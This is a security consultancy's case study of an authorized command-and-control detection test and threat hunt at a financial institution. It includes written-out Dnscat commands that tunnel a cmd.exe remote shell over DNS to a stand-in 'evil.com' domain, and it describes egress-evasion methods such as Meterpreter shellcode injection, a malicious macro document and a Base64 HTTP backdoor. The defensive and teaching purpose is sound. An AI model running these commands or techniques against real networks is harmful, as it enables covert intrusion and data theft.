— Case Study: Hunt Teaming

Confidential Client — Large Financial Institution

The Challenge

A large financial institution realized that despite having performed numerous penetration tests and extensive log management reviews, their networks were not only vulnerable, but were often found to be already compromised. Worse, the malware and attacks discovered were in-place and operational without having been detected by any existing technology or processes.

The Solution

IANS, a leading decision-support and consulting firm in the information security industry, was called in to establish command and control (C2) channels with two testing machines. The purpose and objectives of this approach was to validate that there had, in fact, been prior C2 attacks; identify the nature and resolutions for these attacks, and through “Hunt Teaming,” emulate the prior attacks in order to better understand existing vulnerabilities and how to remediate for prevention.

The Solution — Definitions

C2

Refers to the influence an attacker has over a compromised computer system that they control. For example, a valid usage of the term is to say that attackers use “command and control infrastructure” to issue “command and control instructions” to their victims. Advanced analysis of command and control methodologies can be used to identify attackers, associate attacks, and disrupt ongoing malicious activity.

Detection Point Assessment

Refers to the ability to detect C2 attacks. A number of tools such as IDS/IPS and log management are good at detecting known server-side attacks, but very few are successful in detecting client-side attacks, C2 or data exfiltration. The issue is that many organizations focus on keeping attackers out, but neglect honing their ability to react to an attacker that has successfully compromised their network.

Hunt Teaming

Often used in conjunction with C2 Detection, Hunt Teaming is a collection of techniques that are used to bypass traditional security technologies to hunt down other attackers who may have used similar techniques and have successfully “flown under the radar.”

The Process

Initially, IANS tested Internet access behavior. The user account provided to IANS did not have the rights to access the Internet. IANS could access a few internal websites but was unable to directly contact any remote server. IANS noticed that there was a proxy in place on the network that the machine’s traffic was going through, so IANS disabled the local proxy settings in order to test if traffic would then bypass the proxy and be allowed. However, IANS could not access any remote websites, including Google.

IANS attempted to see if nonstandard ports would be allowed out of the network by using a script that tried to establish connections with a remote server on every port below 1024. A few of the ports tried were reported as open, meaning that a successful connection had been established. The client explained that the internal firewall would actually pretend to be the remote server and complete the connection between itself and the internal machine, but would then drop any further traffic that was sent. The firewall would not forward any traffic onto the remote server. IANS connected to these open ports manually to see if there would be a response returned from the server, but in each case the connection was closed unexpectedly. Also, The client quickly detected IANS’ attempts to make these outbound connections.

IANS next performed a DNS lookup from the local machine using the built-in DNS lookup tool. The DNS lookup was performed for a website that was blocked through the proxy for IANS’ user. When the DNS query returned the real IP address of the remote host, IANS attempted to establish a C2 channel through a means known as DNS Tunneling and was successful using a tool called Dnscat. Dnscat allowed IANS to execute commands on the internal system from a remote server and also to transfer data between the two. In order for DNS tunneling to work, IANS set up a domain, “evil-dns.com”, that resolved to the IP address of IANS’s external server using a DNS A record. Another domain, “evil.com”, was set up so that it had a DNS NS record that resolved to the first domain, evil-dns.com. What this accomplished was that any DNS query for a sub-domain of evil.com, for example exploit.evil.com, would eventually be directed to the authoritative name server (NS) for evil.com which, as was already stated, was set to evil-dns.com. IANS set up Dnscat listening on port 53 of evil-dns.com since that is the default port for the DNS protocol and would be the\ port that received the query requests. The command used on evil-dns.com was:

dnscat --listen

Then on the internal machine, IANS executed the following command:

dnscat --exec cmd.exe --domain evil.com

That command told Dnscat to connect using the domain “evil.com” and when a connection was established, to execute the program “cmd.exe”. This gave the remote Dnscat listener a command prompt that IANS could then use to execute commands on the internal machine. This technique worked due to the recursive nature of DNS queries. At no point were the internal machine and IANS’s external server communicating directly with each other; the firewall would have prevented that. Instead, the two machines were communicating through The client’s own internal DNS server, which would make queries on behalf of the internal machine and return the results of those queries as well. Dnscat places extra information in the queries and responses that get passed back and forth and thus is able to communicate

The client did not detect this C2 channel as the DNS traffic was not being monitored by their security appliances. However, The client was capturing and storing all DNS traffic and was able to find the specific traffic sent by Dnscat later. The client worked to come up with alerts that would at least notify them that such a channel was being exploited for communication. The client developed a rudimentary alert as a short term solution that would detect the specific version of Dnscat that IANS was using. However, The client was aware that the alert could be easily bypassed.

Next, IANS set up a backdoor local administrator account scenario. From a Kali Linux machine, IANS compromised the victim machine by using the backdoor administrator account and Metasploit’s psexec_psh module. The Metasploit psexec_psh module communicates with the target over port 445 and installs a new service on the victim. The service, when started, runs a PowerShell command that injects shellcode into its own memory, resulting in a reverse connection back to the attacker. IANS was inside the Security Operations Center at the time this test was run, and almost immediately, The client staff noticed an alert and discovered the compromise of the victim machine. The alert was triggered due to the service created on the victim. In order to set up this scenario, an attacker would have to find a local administrator account password for a machine. Due to the clientside security on the laptops The client provided, IANS believes it would be unlikely for an up-to-date employee system to be compromised in this way. And if the scenario did happen, The client would stand a good chance of detecting it quickly.

Since the PowerShell shellcode injection technique bypassed the local security controls, IANS created a Meterpreter session between the two internal machines by running a PowerShell command on the victim machine directly from a PowerShell command prompt. The command used a PowerShell script that provided shellcode and worked in a similar way to the psexec_psh Metasploit module but did not create a service. This technique must have some delivery mechanism to use instead of a service, such as a Microsoft Word document. In this case IANS manually executed the command on the victim machine.

mfs-exploit-screenshot

The screenshot shows the reverse connection being made, from the perspective of the Kali Linux machine

The following table details the attempts made by IANS to establish a C2 session using progressively more advanced types of malware and the results from the attempts. Along with descriptions, the Result column is color-coded based on the results.

Green: The malware was stopped by client-side or network protections in place.

Yellow: The malware bypassed the client-side and network protections and was able to establish a C2 channel between internal machines. After the channel was established, it was detected.

Orange: The malware bypassed the client-side and network protections and was able to establish a C2 channel between internal machines undetected.

Red: The malware bypassed all protections and was able to establish a C2 channel with an external server undetected.

Malware Communication Channel Result
Netcat N/A Sophos Anti-Virus caught and quarantined when copying to disk. The client noticed the alerts and informed IANS.
Netcat with binary packer N/A Sophos Anti-Virus caught and quarantined when copying to disk. The client noticed the alerts and informed IANS.
Dnscat DNS tunneling to an external server IANS established a remote shell and no client or network alerts were triggered.
PowerShell injected Meterpreter shellcode Direct HTTPS connection over port 443 to an external server Bypassed all client-side protections, but was stopped by network egress filtering rules.
PowerShell injected Meterpreter shellcode Direct TCP connection over port 53 to an external server Bypassed all client-side protections, but was stopped by network egress filtering rules.
Metasploit’s psexe_psh module Direct connection to an internal server Bypassed all client-side protections and successfully established a session. The session was detected by The client.
VSAgent IANS Custom Malware Base64 encoded 30 second beacon HTTP Backdoor IANS established a remote shell and no client or network alerts were triggered.
PowerShell injected Meterpreter shellcode Direct HTTPS connection over port 443 to an internal server Bypassed all client-side protections and successfully established a session. The session was not detected.

After the DNS tunneling technique using Dnscat was successful, IANS tested to see whether the attack could be delivered via an email attachment. IANS crafted a malicious Microsoft Word document that contained a macro programmed to deliver a Dnscat payload (a typical approach used by attackers). IANS tested the document on a local machine and confirmed that it worked. The user saw warnings about macros when they opened the document, but if they accepted the prompt, the macro would run and Dnscat would establish a connection.

Finally, IANS created a custom backdoor just for egress testing of high-security environments (like the one existing at the client). This backdoor utilizes Base64 in a VIEWSTATE parameter over cleartext HTTP in order to bypass high security application inspection firewalls. In this test we were able to bypass all security controls and establish a backdoor session.

Below is a screenshot of the malware beaconing every 30 seconds:

malware beaconing every 30 seconds

Below is a screenshot of the Base64 encoded HTTP communication:

Base64 encoded HTTP communication

Below is a screenshot of the decoded data of the backdoor pulling down a PowerSploit powershell direct memory injection attack:

direct memory injection attack

Hunt Teaming

Also as part of this assessment IANS was tasked with identifying any systems compromised using advanced malware that bypasses traditional security technologies such as IDS/IPS and AV.

We started by analyzing internal recursion cached DNS records. These records are created when an internal system communicates out to the Internet and resolves a domain name into an IP address. IANS takes these records and simply performs a check to see if there are any entries in the DNS cache that are known to be malicious systems. As part of a Hunt Teaming engagement, IANS pulls down multiple blacklists from sources like Dshield for comparative purposes. Simply running this comparison of existing DNS entries against known blacklists discovered 4 systems to be communicating with known botnet C2 servers.We notified the customer Incident Response (IR) team and they discovered these systems were compromised by advanced credit card scraping malware that bypassed their current AV and Firewall configuration. IANS then pulled all software publishers from systems in the target domain and discovered software on one system which had a random name and no publisher:

random name and no publisher

Once again, this system was compromised.

Next we looked at external router logs for a 48- hour period to identify any strange IP addresses and/or beaconing activity. First, we pulled out any connections to any of the top 500 websites via: http://www.alexa.com/topsites

Next, we pulled out all known advertising Domains: http://winhelp2002.mvps.org/hosts.txt Finally we started reviewing any network connections, which repeat within 5 min, 10 min and 30 min intervals over a 24-hour period. This revealed 3 different systems that were beaconing. The first system was a license server. The second was a system that had an unauthorized VPN tunnel back to a user’s home network; and the third was a system which had a previously unknown backdoor running and beaconing once every 25 min.

Once this targeted malware was discovered, the customer went into full IR mode. We were requested to stop until the full impact of this malware was revealed.

Business Impact

Through the Detection Point Assessment methodology, IANS was able to validate that prior C2 attacks occurred. This was accomplished by establishing command and control channels with two testing machines. IANS identified the nature of the attacks and emulated prior attacks through “Hunt Teaming” to understand the client’s existing vulnerabilities and offer insight on how to remediate and prevent future incidents. This approach enabled the client to uncover hidden vulnerabilities and stop existing malware/ attacks. Moreover, it educated the IT Security team on how to detect and handle future attacks of the same nature. The full impact of the malware was yet unknown at the time of this publication. Any future damage that it could have caused was eliminated via the Detection Point Assessment process.

Learn More


If you have a question, comment, or would like to learn more about our services, please use this form to let us know what you’re looking for. A member of the IANS team will be in touch soon.